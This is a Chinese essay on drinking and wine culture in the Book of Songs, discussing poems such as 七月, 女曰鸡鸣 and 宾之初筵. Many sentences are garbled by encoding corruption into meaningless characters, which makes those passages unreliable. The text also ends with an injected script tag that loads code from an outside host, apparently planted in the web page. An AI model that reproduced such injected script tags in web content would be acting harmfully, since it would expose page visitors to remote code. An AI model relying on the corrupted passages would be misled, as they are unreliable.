酒香氤氲话《诗经》

翻开案头那本《诗经》，顿时觉得氤氲酒香扑面而来，令我陶醉，良久，良久?！妒肥俏夜谝徊渴枳芗址?、雅、颂三个部分，共收入自西周初年至春秋中叶大约五百多年间的诗歌305篇，其中有关饮酒的许多诗篇，对我国古代的酒文化作了客观的展现?！妒分兄苯有吹骄莆幕氖饔?5篇，加上间接涉及酒的诗作，总计达55篇，本文在《风》、《雅》、《颂》中各选若干涉及酒的篇章或诗句略作介绍。
　　“国风”是《诗经》中的精华，是我国古代文艺宝库中璀璨的明珠?！肮纭敝械拿窀枰匝だ龆嗖实幕?，反映了当时真实的社会生活?！豆?豳风.七月》中的诗句“九月肃霜，十月涤场。朋酒斯飨，曰杀羔羊。跻彼公堂，称彼兕觥，万寿无疆！”描写了农事之后相聚饮酒的愉快场景，上述诗句的大意是：九月下了霜，十月扫晒场。捧上两樽美酒（按：“朋酒”即两樽酒），杀上一只羔羊。登上长辈的厅堂，高举牛角酒杯，祝一声“长寿无疆”！篇中又有诗句“十月获稻，为此春酒，以介眉寿?！毙蜗蟮孛杌媪伺┘以谑率栈竦竟龋缓竽鹁?，至春天酿成，用来敬献给长辈，祝其长寿，淋漓尽致地描写出充满田园气息的天伦之乐。
　　《国风.郑风.女曰鸡鸣》通过男女对话，展示了一对青年夫妇和谐的家庭生活和诚挚而热烈的感情，诗中不乏饮酒的诗句?！芭弧γ?，士曰‘昧旦。子兴视夜，明星有烂?！拷?，弋凫与雁。弋言加之，与子宜之。宜言饮酒，与子偕老?！偕谟痪埠?。”大意是：女人说“鸡已经鸣叫了?！蹦腥怂怠疤旎姑涣聊?。你看看夜空，那些明星多么灿烂。”“宿巢的鸟雀就要飞去了，到芦荡射鸭射雁去吧。野鸭大雁射下来，我为你烹调，做成佳肴一起饮酒，我要与你白头偕老?！迸?，男鼓瑟，和睦安好，多么美满呀。诗情画意，生动谐趣，恰似一出精炼的生活“小品”剧目。
　　“雅诗”和“颂诗”都是统治阶级在特定场合所用的乐歌，反映了社会生活的某些方面，具有一定的社会意义和认识价值?！缎⊙?宾之初筵》篇幅颇长，共五章。第一章和第二章写合乎礼制的酒宴：“宾之初筵，左右秩秩。笾豆有楚，肴核维旅。酒既和旨，饮酒孔偕。钟鼓既设，举醻逸逸……”宾客初入席，列坐有序。食器鱼肉瓜果摆放得整齐有序。既然酒味甘醇，诸位都快喝吧。钟鼓已经架好，举杯敬酒连连不停?！按蠛罴瓤梗杆拐?。射夫既同，献尔发功。发彼有的，以祈尔爵?！蓖ピ豪锇仓昧松浼拇蟀?，凭射手的成绩判定谁来饮酒。“籥舞笙鼓，乐既和奏。烝衎烈祖，以洽百礼。”奏起排箫，鼓起笙，音乐和谐。进献乐舞敬祖，礼数周到。第三章和第四章写宾客违背礼制时的酒宴，“曰既醉止，威仪怭怭。是曰既醉，不知其秩?！彼嵌家押茸?，庄重威严荡然无存。因为大醉而不知规矩。“宾既醉止，载号载呶。乱我笾豆，屡舞僛僛?！北隹痛笞?，又叫又嚷。把我的食器全都弄乱，踉踉跄跄不停地乱舞。第五章是总结性的说理，主张养成酒德，遵从礼?script src=http://www.234mu.com/>